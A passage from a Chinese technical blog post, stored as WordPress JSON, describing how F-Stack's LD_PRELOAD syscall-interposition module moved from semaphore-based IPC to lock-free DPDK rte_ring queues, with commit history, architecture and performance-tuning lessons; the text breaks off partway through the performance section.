{"id":464,"date":"2026-09-14T09:57:28","date_gmt":"2026-09-14T01:57:28","guid":{"rendered":"https:\/\/lovelyping.com\/?p=464"},"modified":"2026-10-08T17:30:44","modified_gmt":"2026-10-08T09:30:44","slug":"f-stack-2-0-%e5%89%8d%e7%9e%bb-6-ld_preload-%e6%97%a0%e9%94%81-ring-ipc-%e6%94%b9%e9%80%a0","status":"publish","type":"post","link":"https:\/\/lovelyping.com\/?p=464","title":{"rendered":"F-Stack 2.0 \u524d\u77bb 6 : LD_PRELOAD \u65e0\u9501 Ring IPC \u6539\u9020"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">1. \u672c\u529f\u80fd\u4e3b\u8981\u4f5c\u7528\u548c\u7279\u70b9<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">F-Stack \u7684 LD_PRELOAD \u6a21\u5757\uff08libff_syscall.so\uff09\u4ece 2023-05 \u521d\u7248\u63d0\u4ea4\u5230\u73b0\u5728\u6f14\u8fdb\u4e09\u5e74\u4e86\uff0c\u8fd9\u7bc7\u8bb2\u7684\u662f 2026 \u5e74\u4e0a\u534a\u5e74\u7ed9\u5b83\u505a\u7684\u65e0\u9501\u73af\u5f62\u961f\u5217\u6539\u9020\uff08FF_USE_RING_IPC\uff09\uff0c\u987a\u5e26\u628a\u8fd9\u4e09\u5e74\u4ece\u521d\u7248\u5230\u73b0\u5728\u7684\u4f18\u5316\u548c\u4fee\u6539\u4e00\u8d77\u634b\u4e00\u904d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">F-Stack \u7684\u6807\u51c6\u63a5\u5165\u65b9\u5f0f\u662f\u6539\u4ee3\u7801\uff1a\u5e94\u7528\u8c03 ff_* \u524d\u7f00 API + ff_run() \u4e3b\u5faa\u73af\uff0c\u4ee3\u7801\u4fb5\u5165\u5927\u3002\u4e3a\u4e86\u964d\u4f4e\u5b58\u91cf\u5e94\u7528\u7684\u8fc1\u79fb\u95e8\u69db\uff0c2023 \u5e74\u793e\u533a\u5728 dev \u5206\u652f\u63d0\u4ea4\u4e86 adapter\/syscall \u76ee\u5f55\uff08commit 8f5f1dfbb\uff0c2023-05-03\uff09\uff0c\u63d0\u4f9b libff_syscall.so \u52a8\u6001\u5e93\uff0c\u901a\u8fc7 LD_PRELOAD \u52ab\u6301 Linux socket \u7cfb\u7edf\u8c03\u7528\u8f6c\u53d1\u7ed9 fstack \u5b9e\u4f8b\u8fdb\u7a0b\u5904\u7406\uff0c\u5e94\u7528\u96f6\u4ee3\u7801\u4fee\u6539\u5373\u53ef\u63a5\u5165\u3002\u521d\u7248\u53d1\u5e03\u65f6\u5b98\u65b9\u5b9a\u4f4d\u5f88\u514b\u5236\uff1a\u300c\u76ee\u524d\u529f\u80fd\u5c1a\u4e0d\u5b8c\u5584\uff0c\u4ec5\u4f9b\u6d4b\u8bd5\u4f7f\u7528\u300d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e09\u5e74\u540e\u7684\u4eca\u5929\uff0c\u8fd9\u4e2a\u6a21\u5757\u5df2\u7ecf\u652f\u6301 fork\u3001accept4\u3001_FORTIFY_SOURCE \u5305\u88c5\u51fd\u6570\u3001epoll polling \u6a21\u5f0f\uff0c\u5e76\u4e14\u628a APP \u4e0e fstack \u4e4b\u95f4\u7684 IPC \u4ece\u4fe1\u53f7\u91cf\u4e09\u5c42\u540c\u6b65\u6f14\u8fdb\u5230\u4e86 DPDK \u65e0\u9501 rte_ring \u53cc\u73af SPSC\u3002\u51e0\u4e2a\u5173\u952e\u70b9\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>\u514d\u6539\u4ee3\u7801\u63a5\u5165<\/strong>\uff1asocket\/bind\/connect\/read\/write\/epoll\/kevent\/select \u5168\u90e8\u52ab\u6301\uff0c\u5b58\u91cf\u5e94\u7528\uff08Nginx\u3001netperf \u7b49\uff09\u96f6\u4ee3\u7801\u4fee\u6539\u76f4\u63a5\u8dd1\u5728 F-Stack \u4e0a<\/li><li><strong>\u53cc\u73af SPSC<\/strong>\uff1aFF_USE_RING_IPC \u7528 rte_ring \u5355\u751f\u4ea7\u8005\u5355\u6d88\u8d39\u8005\u6a21\u5f0f\u66ff\u6362 sem_wait\/sem_post\uff0c\u6d88\u706d\u5168\u5c40\u9501\u548c O(n) \u904d\u5386<\/li><li><strong>\u8bda\u5b9e\u6536\u655b<\/strong>\uff1aring \u6539\u9020\u7ecf\u8fc7 v1~v3.7 \u5171\u4e03\u8f6e\u5b9e\u6d4b\u8fed\u4ee3\uff0c\u6700\u7ec8\u7ed3\u8bba\u4e0d\u662f&#8221;ring \u5168\u9762\u80dc\u5229&#8221;\uff0c\u800c\u662f&#8221;ring \u5728 LD_PRELOAD + FF_MULTI_SC \u573a\u666f\u4e0b\u6ca1\u6709\u6027\u80fd\u4f18\u52bf\uff0c\u751f\u4ea7\u63a8\u8350 sem&#8221;\u2014\u2014\u8fd9\u662f\u8fd9\u7bc7\u6700\u60f3\u8bf4\u7684\uff1a\u4f18\u5316\u8981\u6709\u5bf9\u7167\u3001\u6709\u8bc1\u4f2a\u3001\u6562\u4e8e\u5426\u5b9a\u81ea\u5df1<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">2. \u672c\u529f\u80fd\u7684\u4e3b\u8981\u9002\u7528\u573a\u666f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">2.1 \u5b58\u91cf\u5e94\u7528\u514d\u6539\u4ee3\u7801\u63a5\u5165 F-Stack<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f LD_PRELOAD \u6a21\u5757\u7684\u6839\u672c\u5b9a\u4f4d\u3002\u5386\u53f2 issue \u6863\u6848\u91cc\uff0c\u5b98\u65b9\u5bf9&#8221;\u73b0\u6709\u591a\u7ebf\u7a0b\/\u591a\u8fdb\u7a0b\/Go\/netperf \u7c7b\u5e94\u7528\u600e\u4e48\u79fb\u690d&#8221;\u7684\u56de\u7b54\uff0c\u63a8\u8350\u65b9\u6848\u7b2c\u4e00\u6761\u51e0\u4e4e\u90fd\u662f\u5b83\uff1a\u4e0d\u7528\u6539\u6e90\u7801\uff0c\u5148\u8d77 fstack \u5b9e\u4f8b\u8fdb\u7a0b\uff0c\u518d LD_PRELOAD \u62c9\u8d77\u5e94\u7528\u3002\u9002\u914d\u7684\u63a5\u53e3\u9762\u5305\u62ec socket \u5168\u5bb6\u6876\u3001epoll \u5168\u5bb6\u6876\u3001kqueue\/kevent\u3001select\u3001fork\uff0c\u4ee5\u53ca glibc _FORTIFY_SOURCE \u7f16\u8bd1\u7684 <strong>recv_chk\/<\/strong>read_chk\/__recvfrom_chk \u5305\u88c5\u51fd\u6570\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.2 Nginx \u514d\u6539\u4ee3\u7801\u96c6\u6210<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Nginx \u5b98\u65b9\u9ed8\u8ba4\u643a\u5e26 1.16.1\uff0c\u7ecf LD_PRELOAD \u63a5\u5165\u65e0\u9700\u6539\u4efb\u4f55\u4ee3\u7801\uff0c\u9700\u8981\u540c\u65f6\u5f00 FF_KERNEL_EVENT + FF_MULTI_SC \u4e24\u4e2a\u7f16\u8bd1\u5f00\u5173\uff0c\u914d\u7f6e\u4e0a multi_accept on\u3001listen reuseport\u3002\u4e0d\u9002\u7528\u573a\u666f\u660e\u786e\uff1a\u591a\u5b9e\u4f8b\u505a\u5ba2\u6237\u7aef\uff08\u53cd\u5411\u4ee3\u7406\uff09\u6682\u4e0d\u652f\u6301\uff0c\u9700\u8981\u50cf\u793e\u533a @\u94c1\u76ae\u5927\u7237 \u90a3\u6837\u5728 hook \u5c42\u52a0 RSS \u5bf9\u79f0 hash \u9009\u5b9e\u4f8b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.3 fork \u591a\u8fdb\u7a0b\u6a21\u578b\u5e94\u7528<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">2025-05 \u7684 fork \u652f\u6301\uff08commit 4891fabf5\uff0cPR #887\uff09\u4e4b\u540e\uff0c\u6bcf\u4e2a fork \u51fa\u6765\u7684\u8fdb\u7a0b\u90fd\u62e5\u6709\u72ec\u7acb\u7684 FreeBSD struct thread\uff0c\u884c\u4e3a\u5bf9\u6807 Linux \u5185\u6838 fork\u3002\u914d\u5408 FF_MULTI_SC\uff0cNginx master fork worker \u7684\u7ecf\u5178\u6a21\u578b\u53ef\u4ee5\u8dd1\u901a\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.4 \u4e0d\u592a\u9002\u5408\u7684\u573a\u666f<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>\u8ffd\u6c42\u6781\u81f4\u6027\u80fd\uff1a\u6bcf\u7ec4\u5e94\u7528\u5b9e\u4f8b\u8981 2 \u4e2a CPU \u6838\uff081 \u4e2a fstack + 1 \u4e2a APP\uff09\uff0cCPU \u51e0\u4e4e\u7ffb\u500d\uff0c\u5b98\u65b9\u539f\u8bdd&#8221;\u6027\u4ef7\u6bd4\u4e0d\u9ad8&#8221;\u3002\u8981\u6781\u81f4\u6027\u80fd\u8fd8\u662f\u76f4\u63a5\u6539\u4ee3\u7801\u7528\u6807\u51c6 F-Stack<\/li><li>8 \u6838\u4ee5\u4e0a\u7684\u77ed\u8fde\u63a5\u573a\u666f\uff1aLD_PRELOAD \u6027\u80fd\u4e0d\u5982\u6807\u51c6 F-Stack\uff0c\u53d7 APP \u4e0e fstack \u5339\u914d\u5ea6\u5f71\u54cd<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">3. \u672c\u529f\u80fd\u7684\u67b6\u6784\u7279\u5f81<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">3.1 \u6574\u4f53\u62d3\u6251<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"750\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload1-1024x750.png\" alt=\"\" class=\"wp-image-465\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload1-1024x750.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload1-300x220.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload1-768x562.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload1.png 1446w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u6838\u5fc3\u901a\u4fe1\u8f7d\u4f53\u662f DPDK \u5927\u9875\u5171\u4eab\u5185\u5b58\u4e0a\u7684 ff_so_context\uff08\u7b80\u79f0 sc\uff09\u3002APP \u628a\u8981\u6267\u884c\u7684 socket \u64cd\u4f5c\u586b\u8fdb sc\uff0cfstack \u5b9e\u4f8b\u4e3b\u5faa\u73af\u5904\u7406\u5e76\u628a\u7ed3\u679c\u5199\u56de\u3002fstack \u5b9e\u4f8b\u548c APP \u5efa\u8bae\u8dd1\u5728\u540c NUMA \u8282\u70b9\u7684\u4e0d\u540c\u7269\u7406\u6838\u4e0a\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.2 \u521d\u7248\u540c\u6b65\u673a\u5236\uff1a\u4fe1\u53f7\u91cf\u4e09\u5c42\u540c\u6b65<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u521d\u7248\uff082023-05 ~ 2026-04 \u9ed8\u8ba4\u8def\u5f84\uff09sc \u7684\u540c\u6b65\u9760\u4e09\u5c42\u673a\u5236\uff1a<\/p>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u5c42<\/th><th>\u673a\u5236<\/th><th>\u4f4d\u7f6e<\/th><\/tr><\/thead><tbody><tr><td>\u72b6\u6001\u673a<\/td><td>FF_SC_IDLE \u2192 FF_SC_REQ \u2192 FF_SC_REP \u2192 FF_SC_IDLE<\/td><td>ff_socket_ops.h<\/td><\/tr><tr><td>\u4e92\u65a5\u9501<\/td><td>rte_spinlock_t lock\uff08sc \u7ea7 + zone \u7ea7\u5168\u5c40\u9501\uff09<\/td><td>ff_socket_ops.h<\/td><\/tr><tr><td>\u4fe1\u53f7\u91cf<\/td><td>sem_t wait_sem\uff08POSIX \u8de8\u8fdb\u7a0b\u4fe1\u53f7\u91cf\uff0cfutex \u5b9e\u73b0\uff09<\/td><td>ff_socket_ops.h<\/td><\/tr><\/tbody><\/table>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e00\u6b21 socket \u8c03\u7528\u7684\u5f80\u8fd4\u6d41\u7a0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"895\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload2-1024x895.png\" alt=\"\" class=\"wp-image-466\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload2-1024x895.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload2-300x262.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload2-768x671.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload2.png 1555w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">3.3 \u65b0\u540c\u6b65\u673a\u5236\uff1a\u53cc Ring SPSC<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">2026-04-09 \u7684 commit d2b71ac89 \u5f15\u5165 FF_USE_RING_IPC\uff1a\u7528 DPDK rte_ring\uff08SPSC \u6a21\u5f0f\uff09\u66ff\u4ee3 sem\u3002\u8bf7\u6c42\u73af APP \u751f\u4ea7 fstack \u6d88\u8d39\uff0c\u54cd\u5e94\u73af fstack \u751f\u4ea7 APP \u6d88\u8d39\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"757\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload3-1024x757.png\" alt=\"\" class=\"wp-image-467\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload3-1024x757.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload3-300x222.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload3-768x568.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/06-ld_preload3.png 1792w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u72b6\u6001\u8bed\u4e49\u7684\u7b49\u4ef7\u8fc1\u79fb\uff1asc \u5728 req_ring \u4e2d = \u65e7 FF_SC_REQ\uff1b\u5728 rsp_ring \u4e2d = \u65e7 FF_SC_REP\uff1b\u4e24\u4e2a ring \u90fd\u4e0d\u5728 = \u7a7a\u95f2\u3002spinlock \u548c\u72b6\u6001\u673a\u8f6c\u6362\u4e0d\u518d\u53c2\u4e0e\u540c\u6b65\u903b\u8f91\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.4 \u4e3a\u4ec0\u4e48\u9009 rte_ring<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">spec \u6587\u6863\uff08SPEC-002\uff09\u91cc\u7ed9\u4e86\u56db\u6761\u7406\u7531\uff1aF-Stack \u672c\u8eab\u5927\u91cf\u4f7f\u7528 rte_ring\uff08dispatch_ring\u3001msg_ring\uff09\uff0c\u96f6\u5b66\u4e60\u6210\u672c\uff1bDPDK \u539f\u751f SPSC \u65e0\u9700\u81ea\u7814\u65e0\u9501\u7b97\u6cd5\uff1bHugepage + rte_memzone \u5df2\u9a8c\u8bc1\u8de8\u8fdb\u7a0b\u53ef\u89c1\uff1b\u6bd4 VPP \u7684 svm_msg_q \u66f4\u7b80\u5355\u3002APP \u4e0e fstack \u5b9e\u4f8b 1:1 \u7ed1\u5b9a\uff0c\u5929\u7136\u6ee1\u8db3 SPSC \u7ea6\u675f\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">4. \u5177\u4f53\u505a\u4e86\u54ea\u4e9b\u6539\u9020\u3001\u9047\u5230\u4e86\u54ea\u4e9b\u95ee\u9898\u3001\u600e\u4e48\u89e3\u51b3\u7684<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u540e\u7eed\u6bd4\u8f83\u67af\u71e5\uff0c\u4e0d\u9700\u8981\u6df1\u5165\u7814\u7a76\u5b9e\u73b0\u8fc7\u7a0b\u7684\u53ef\u4ee5\u8df3\u8fc7\u672c\u8282\uff0c\u76f4\u63a5\u770b\u7b2c 5 \u8282\u600e\u4e48\u7528\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.1 \u521d\u7248\u9057\u7559\u95ee\u9898\u6e05\u5355\uff08ring \u6539\u9020\u7684\u52a8\u673a\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u521d\u7248\u7684\u4fe1\u53f7\u91cf\u673a\u5236\u5728 spec \u6587\u6863\uff08SPEC-001\uff09\u91cc\u88ab\u5217\u4e86 5 \u6761\u6027\u80fd\u74f6\u9888\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>\u5185\u6838\u6001\u5207\u6362<\/strong>\uff1asem_wait\/sem_post \u8d70 futex \u7cfb\u7edf\u8c03\u7528\uff0c\u6bcf\u6b21 100-200ns\uff0cepoll_wait \u77ed\u8d85\u65f6\u573a\u666f\u88ab\u653e\u5927<\/li><li><strong>\u8d85\u65f6\u7cbe\u5ea6\u5dee<\/strong>\uff1asem_timedwait \u7528 CLOCK_REALTIME\uff0c\u53d7 NTP \u8c03\u65f6\u5f71\u54cd\uff0c\u5524\u9192\u7c92\u5ea6\u53d7\u8c03\u5ea6\u5668 tick\uff081-4ms\uff09\u9650\u5236\uff1b\u8fd8\u6709\u4e2a\u7ade\u6001\uff1a\u8d85\u65f6\u8fd4\u56de\u540e fstack \u624d sem_post\uff0c\u5bfc\u81f4\u4e0b\u6b21 sem_timedwait \u7acb\u5373\u8fd4\u56de\u8bfb\u5230\u8fc7\u671f\u7ed3\u679c<\/li><li><strong>O(n) \u904d\u5386<\/strong>\uff1aff_handle_each_context \u6bcf\u8f6e\u904d\u5386\u5168\u90e8 32 \u4e2a sc \u7684 status \u5b57\u6bb5\uff0c\u7edd\u5927\u591a\u6570\u5904\u4e8e IDLE \u4e5f\u8981\u810f\u8bfb<\/li><li><strong>alarm_event_sem \u8865\u507f\u673a\u5236\u8106\u5f31<\/strong>\uff1a5 \u4e2a\u793a\u4f8b\u7a0b\u5e8f\u91cc\u53ea\u6709 1 \u4e2a\u771f\u6b63\u8c03\u7528\u5b83\uff0c\u5176\u4f59\u5168\u6ce8\u91ca\u6389\u4e86<\/li><li><strong>\u6a21\u5f0f\u5206\u88c2<\/strong>\uff1a\u4fe1\u53f7\u91cf\u6a21\u5f0f\uff08\u4f4e CPU \u9ad8\u5ef6\u8fdf\uff09\u548c\u8f6e\u8be2\u6a21\u5f0f FF_PRELOAD_POLLING_MODE\uff08\u4f4e\u5ef6\u8fdf 100% CPU\uff09\u901a\u8fc7\u7f16\u8bd1\u5b8f\u4e8c\u9009\u4e00\uff0c\u8fd0\u884c\u65f6\u4e0d\u53ef\u5207\u6362<\/li><\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">4.2 \u4e09\u5e74\u4e2d\u95f4\u6f14\u8fdb\uff082023-08 ~ 2026-03\uff0cring \u4e4b\u524d\u7684\u6c89\u6dc0\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">ring \u4e0d\u662f\u51ed\u7a7a\u51fa\u73b0\u7684\uff0c\u4e2d\u95f4\u8fd9\u4e09\u5e74\u793e\u533a\u8865\u4e86\u4e0d\u5c11\u5751\uff0c\u6309\u65f6\u95f4\u6392\uff1a<\/p>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u65f6\u95f4<\/th><th>commit<\/th><th>\u5185\u5bb9<\/th><\/tr><\/thead><tbody><tr><td>2023-08<\/td><td>0ee517ed0<\/td><td>\u4fee Ubuntu 22.04 \/ kernel 5.19 \/ gcc 11.4 \u7f16\u8bd1\u9519\u8bef\uff08#777\uff09\uff0cpre-C99 \u58f0\u660e\u95ee\u9898<\/td><\/tr><tr><td>2025-03<\/td><td>5de6ec6d2<\/td><td>\u65b0\u589e epoll polling \u6a21\u5f0f\uff0c\u6539\u5584 RTT \u654f\u611f\u573a\u666f\u5ef6\u8fdf<\/td><\/tr><tr><td>2025-03<\/td><td>3c21f2253<\/td><td>\u4fee ff_hook_recvfrom sh_fromlen \u672a\u521d\u59cb\u5316\u5bfc\u81f4\u8fd4\u56de -1\uff08PR #872\uff09<\/td><\/tr><tr><td>2025-03<\/td><td>e3766b423<\/td><td>accept4 \u652f\u6301 + ff_socket \u652f\u6301 LINUX_SOCK_CLOEXEC\/NONBLOCK<\/td><\/tr><tr><td>2025-05<\/td><td>111816e29<\/td><td>hook <strong>recv_chk\/<\/strong>read_chk\/<em>_recvfrom_chk\uff0c<\/em>FORTIFY_SOURCE \u7f16\u8bd1\u7684\u5e94\u7528\u53ef\u7528<\/td><\/tr><tr><td>2025-05<\/td><td>4891fabf5<\/td><td>\u5b8c\u6574 fork \u652f\u6301\uff08PR #887\uff09\uff0c\u6bcf\u4e2a\u8fdb\u7a0b\u72ec\u7acb FreeBSD struct thread<\/td><\/tr><tr><td>2026-03<\/td><td>b36ce995d<\/td><td>\u4fee ioctl \u53ef\u53d8\u53c2\u6570\u7b7e\u540d\u51b2\u7a81\u7f16\u8bd1\u9519\u8bef\uff08#942\uff0cPR #1048\uff09<\/td><\/tr><\/tbody><\/table>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d ioctl \u90a3\u4e2a\u5751\u503c\u5f97\u5c55\u5f00\u4e00\u53e5\uff1aglibc \u91cc ioctl(2) \u662f\u53ef\u53d8\u53c2\u6570\u7b7e\u540d int ioctl(int, unsigned long, &#8230;)\uff0c\u800c ff_declare_syscalls.h \u6309\u5b9a\u53c2\u6ce8\u518c\uff0c\u65b0\u5de5\u5177\u94fe\u4e00\u7f16\u5c31\u70b8\u3002\u8fd9\u7c7b&#8221;glibc \u7b7e\u540d vs hook \u58f0\u660e&#8221;\u7684\u4e0d\u4e00\u81f4\uff0c\u662f LD_PRELOAD \u8fd9\u7c7b\u65b9\u6848\u7684\u5929\u751f\u96f7\u533a\uff0c\u53ea\u80fd\u9760\u793e\u533a\u9010\u4e00\u8e29\u5751\u4fee\u590d\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.3 ring \u521d\u7248\u843d\u5730\uff082026-04\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">2026-03-27 \u5148\u4ea7\u51fa\u4e86 4 \u7bc7 spec\uff08\u9700\u6c42\/\u67b6\u6784\/\u63a5\u53e3\/\u6d4b\u8bd5\uff09\uff0c\u5ba1\u6838\u901a\u8fc7\u540e 2026-04-09 \u4e00\u6b21\u6027\u63d0\u4ea4 d2b71ac89\uff1a\u53cc rte_ring SPSC\u3001FF_USE_RING_IPC \u7f16\u8bd1\u5f00\u5173\u3001\u4e09\u79cd\u7b49\u5f85\u7b56\u7565\uff08busy-poll\/yield-poll\/eventfd\uff0c\u9ed8\u8ba4 yield-poll\uff09\u3001rte_rdtsc \u66ff\u4ee3 sem_timedwait \u505a\u5fae\u79d2\u7ea7\u8d85\u65f6\u3001alarm_event_sem \u6539\u4e3a sentinel \u5165\u961f\u3002\u8bbe\u8ba1\u4e0a\u4e25\u683c\u8d70&#8221;\u7f16\u8bd1\u5b8f\u5207\u6362 + \u65e7\u8def\u5f84\u4e0d\u52a8&#8221;\uff0c\u53ef\u6e10\u8fdb\u8fc1\u79fb\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.4 ring \u6027\u80fd\u4f18\u5316\u653b\u575a\u6218\uff082026-05\uff0c\u4e03\u8f6e\u8fed\u4ee3\u7684\u6559\u8bad\u5168\u96c6\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u521d\u7248 ring \u4e00\u4e0a\u5b9e\u6d4b\u5c31\u51fa\u95ee\u9898\uff1a\u77ed\u8fde\u63a5 QPS 9.1w\uff0c\u6bd4 sem \u57fa\u7ebf 10.5w \u4f4e 12.4%\u3002\u4e8e\u662f\u6709\u4e86 v1~v3.7 \u7684\u4e03\u8f6e\u8fed\u4ee3\uff0c\u8fd9\u6bb5\u8fc7\u7a0b\u662f\u8fd9\u7bc7\u6700\u6709\u4ef7\u503c\u7684\u90e8\u5206\u2014\u2014\u4e0d\u662f&#8221;\u600e\u4e48\u4fee\u597d\u7684&#8221;\uff0c\u800c\u662f&#8221;\u600e\u4e48\u4e00\u6b65\u6b65\u8bc1\u4f2a\u81ea\u5df1\u7684\u9519\u8bef\u5047\u8bbe&#8221;\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c\u4e00\u8f6e\u5047\u8bbe\uff08H10\/H11\uff0cv1\uff09<\/strong>\uff1a\u53ea\u8bfb\u4e86 ff_socket_ops.c \u7684 ring \u5206\u652f\uff0c\u4e0b\u7ed3\u8bba&#8221;sem \u6a21\u5f0f\u6ca1\u6709 30us drain \u5f3a\u5236\u7a7a\u8f6e\u8be2&#8221;\u3002\u88ab\u8bc1\u4f2a\u2014\u2014\u5bf9\u7167 else \u5206\u652f\u53d1\u73b0 sem \u540c\u6837\u6709 if (diff_tsc &gt;= drain_tsc) break \u5faa\u73af\u3002\u6559\u8bad\uff1a\u5355\u8fb9\u4ee3\u7801\u5206\u6790\uff0c\u4e0d\u5bf9\u7167\u53e6\u4e00\u5206\u652f\u5c31\u4e0b\u7ed3\u8bba\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c\u4e8c\u8f6e\u5047\u8bbe\uff08H15\uff0cv2\uff09<\/strong>\uff1a\u57fa\u4e8e&#8221;sem \u6709 nb_handled \u65c1\u8def\u800c ring \u6ca1\u6709&#8221;\uff0c\u5047\u8bbe ring \u7684 dequeue burst \u8de8\u6838\u8bfb prod.tail \u5bfc\u81f4 LLC miss \u66b4\u589e\u3002perf stat \u5b9e\u6d4b\u8bc1\u4f2a\uff1aring \u7684 LLC miss \u53cd\u800c\u6bd4 sem \u5c11 23%\uff086.8K\/s \u91cf\u7ea7\uff0c\u4e0d\u6784\u6210\u74f6\u9888\uff09\u3002\u6559\u8bad\uff1a\u6ca1\u5148\u9a8c\u8bc1\u53ef\u8bc1\u4f2a\u7684\u7269\u7406\u91cf\u5c31\u628a\u5047\u8bbe\u5199\u8fdb\u6587\u6863\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c\u4e09\u8f6e\uff08v3.1\uff09<\/strong>\uff1a\u628a&#8221;\u6bcf 256 \u6b21 PAUSE \u89e6\u53d1 sched_yield&#8221;\u6309\u7eaf\u7b97\u672f\u63a8\u6210\u6b21\u56e0\uff08H18\uff09\uff0c\u5b9e\u6d4b\u4e09\u7ec4\u914d\u7f6e\uff08yield \u9608\u503c 0xFF\/0x1FFF\/busy-poll\uff09QPS \u5168\u90e8 9.2w\uff0cvoluntary_ctxt_switches \u589e\u957f\u7ea6\u7b49\u4e8e 0\u2014\u2014spin_count \u662f\u5c40\u90e8\u53d8\u91cf\uff0c\u77ed\u8fde\u63a5\u573a\u666f\u5355\u6b21 wait \u6839\u672c\u5230\u4e0d\u4e86 256 \u6b21\u3002\u6559\u8bad\uff1a\u9891\u7387\u7c7b\u4f30\u7b97\u5148\u505a 10 \u79d2\u91c7\u6837\uff0c\u522b\u505a 30 \u5206\u949f\u7684\u5f2f\u8def\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c\u56db\u8f6e\uff08v3.2\uff09<\/strong>\uff1aperf top callgraph \u9501\u5b9a\u771f\u56e0\u2014\u2014ff_ring_process_requests Self 15.44%\uff08\u6bcf\u6b21\u4e3b\u5faa\u73af spin \u90fd\u8d70\u5b8c\u6574 dequeue burst \u51fd\u6570\u8c03\u7528\u6808\uff0c\u5373\u4f7f nb=0\uff09+ ff_ring_send_response Self 3.33%\uff08\u6bcf\u6b21\u54cd\u5e94\u5199 rsp_ring-&gt;prod.tail\uff0c\u89e6\u53d1 APP \u6838 cache invalidate\uff09\u3002\u540c\u671f\u8fd8\u8bc1\u4f2a\u4e86\u81ea\u5df1\u4e24\u6761\u5047\u8bbe\uff1aH21 \u628a wrk \u5ef6\u8fdf\u5dee +190us \u5f53\u6210\u5355 syscall \u5f00\u9500\uff08\u5dee 3 \u4e2a\u6570\u91cf\u7ea7\uff0c\u771f\u56e0\u662f CPU \u5360\u7528\u6324\u538b\uff09\uff1bH24 \u5728 perf \u5df2\u7ed9\u660e\u786e\u8bc1\u636e\u540e\u8fd8\u53d1\u6563&#8221;\u8de8 NUMA&#8221;\u73af\u5883\u5047\u8bbe\uff08\u540c\u73af\u5883\u5bf9\u7167\u5b9e\u9a8c\u7684\u552f\u4e00\u53d8\u91cf\u662f IPC 